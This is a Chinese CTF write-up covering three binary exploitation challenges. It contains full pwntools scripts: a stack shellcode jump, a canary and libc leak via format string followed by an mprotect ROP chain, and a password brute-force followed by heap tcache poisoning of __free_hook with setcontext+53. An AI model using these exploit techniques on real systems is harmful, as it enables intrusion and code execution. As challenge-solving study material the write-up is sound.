赞
踩
首先check一下安全防护机制,全红。
分析程序,程序逻辑非常简单。
思路首先通过strdup泄露栈地址,后面控制返回地址到栈上,执行shellcode。
- from pwn import *
- sh = process('./bypwn')
- context(os='linux',arch='amd64',log_level='DEBUG')
- #sh = remote('node4.buuoj.cn',25111)
- pop_rdi = 0x0000000000400923
- #gdb.attach(sh)
- #pause()
- sh.sendafter('input:\n','a'*30+'bb')
- sh.recvuntil('bb')
- leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
- print(hex(leak_addr-0x50))
- shellcode = asm(shellcraft.cat('flag')).ljust(88,'a')
- #payload = flat({0:asm(shellcraft.cat('/flag')), 0x58: leak_addr - 0x50})
- payload = shellcode+p64(leak_addr-0x50)
- sh.send(payload)
- sh.interactive()

参考了一个很厉害的师傅写的wp,DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp - LynneHuan - 博客园
check一下安全机制,开启了canary机制
然后分析程序,能明显看到有一个格式化字符串漏洞和一个栈溢出点
查看禁用的函数,execve被禁用
思路为:
这里需要注意很多问题,记录几个主要的问题
1、无法使用ROPgadget寻找syscall,ret,原因不是很清楚,但是可以使用ropper找到
2、mprotect 函数修改权限时,修改的地址必须为内存页的起使地址,即低12位全为0,故需要将bss地址后12位置0
- from pwn import *
-
- #sh = process('./pwn')
- sh = remote('node4.buuoj.cn',29752)
- elf = ELF('./pwn')
- libc= ELF('./libc.so.6')
- context.arch='amd64'
- read_addr = elf.plt['read']
- puts_addr = elf.plt['puts']
- bss_addr = elf.bss()
- print(hex(bss_addr))
- pop_rdi =0x0000000000021112
- pop_rsi =0x00000000000202f8
- pop_rdx =0x0000000000001b92
- pop_rax =0x000000000003a738
- int_0x80 = 0x00000000000bc3f5
- context.log_level = 'DEBUG'
- #gdb.attach(sh,'b *0x000000000040077C')
- payload = 'aaaaaaaaaa%25$p%27$p%28$p'
- sh.sendafter('name?\n',payload)
- sh.recvuntil('aaaaaaaaaa')
- setbuf = int(sh.recv(14),16)-324
- canary = int(sh.recv(18),16)
- ebp = int(sh.recv(14),16)-0xc0
-
- libc_base = setbuf-libc.sym['setvbuf']
- mprotect_addr = libc_base + libc.sym['mprotect']
- libc_pop_rdi = libc_base + pop_rdi
- libc_pop_rsi = libc_base + pop_rsi
- libc_pop_rdx = libc_base + pop_rdx
- libc_pop_rax = libc_base + pop_rax
- libc_call = libc_base + int_0x80
- payload = 'a'*0x68+p64(canary)+'bbbbbbbb'
- payload+=p64(libc_pop_rdi)+p64(0)+p64(libc_pop_rsi)+p64(bss_addr)+p64(libc_pop_rdx)+p64(0x200)+p64(read_addr)
- #payload+=p64(libc_pop_rdi)+p64(bss_addr)+p64(puts_addr)
- payload+=p64(libc_pop_rdi)+p64(bss_addr&~0xfff)+p64(libc_pop_rsi)+p64(0x1000)+p64(libc_pop_rdx)+p64(0x7)+p64(libc_pop_rax)+p64(10)
- payload+=p64(libc_call)+p64(bss_addr)
- payload=payload.ljust(0x200,'\x00')
- sh.sendafter('you?\n',payload)
- sh.send(asm(shellcraft.cat('./flag')))
- sleep(1)
- sh.interactive()

首先需要绕过一个验证,能很明显发现首先保证用户名不为admin,之后的判断需要s1和s2相等
利用ida调试输入123456时,s2的值为一个32位的字符串
将这字符串复制当作密码输入,发现s2的开头为\x00
于是猜想密码是否为32位,输入'a'*32和'b'*32,发现s2的开头均为\x00,只要爆破出使s1开头为\x00就可以绕过验证
爆破的脚本如下
- import string
- from pwn import *
-
- context(os='linux',arch='amd64',log_level='error')
- for password in range(0x100):
- password=password.to_bytes(1,byteorder='big')
- sh = process('./datasystem')
- sh.sendafter('please input username: ','admin\x00')
- sh.sendafter('please input password: ',password*32)
- error = sh.recvline()
- if b'Fail' not in error:
- print('password:',password)
- print('-----------------')
- print('-----------------')
- sh.close()
最后得到可行的两个密码
验证机制就可以绕过
分析程序,堆的菜单题,功能相对简单
存在漏洞的点在add中,read输入函数的大小始终为506,存在溢出的风险
绕过验证后的整体思路为:
0x23330000写入shellcode,并且执行shellcode
- import string
- from pwn import *
-
- def add(size,content):
- sh.sendlineafter('>> :\n','1')
- sh.sendlineafter('Size: \n',str(size))
- sh.sendafter('your Content: \n',content)
-
- def delete(index):
- sh.sendlineafter('>> :\n','2')
- sh.sendlineafter('Index:\n',str(index))
-
- def show(index):
- sh.sendlineafter('>> :\n','3')
- sh.sendlineafter('Index:\n',str(index))
-
- context(os='linux',arch='amd64')
- sh = process('./datasystem')
- libc = ELF('./libc-2.27(2).so')
- sh.sendafter('please input username: ','admin\x00')
- sh.sendafter('please input password: ','c'*32)
- add(0x420,'a')#0
- add(0x10,'b')#1
- delete(0)
- add(0x8,'a'*8)#0
- show(0)
- libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3EC090
- free_hook=libc_base+libc.sym['__free_hook']
- read_addr= libc_base+libc.sym['read']
- setcontext= libc_base+libc.sym['setcontext']
- add(0x20,'b')#2
- delete(2)
- delete(0)
- add(0x10,flat({0x10:[0,0x31,free_hook-0x200]}))#0
- add(0x20,'aaaa')#2
- payload = flat({0x200:setcontext+53,0x100:0x23330000,0xa0:free_hook-0x100,0xa8:read_addr,0x70:0x23330000,0x88:0x100,0x68:0},filler='\x00')
- add(0x20,payload)#3
- delete(3)
- sleep(1)
- sh.sendline(asm(shellcraft.cat('./flag')))
- sh.interactive()

这里又学习到一个新的利用方式setcontext+53,通过大量控制寄存器来控制程序执行赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。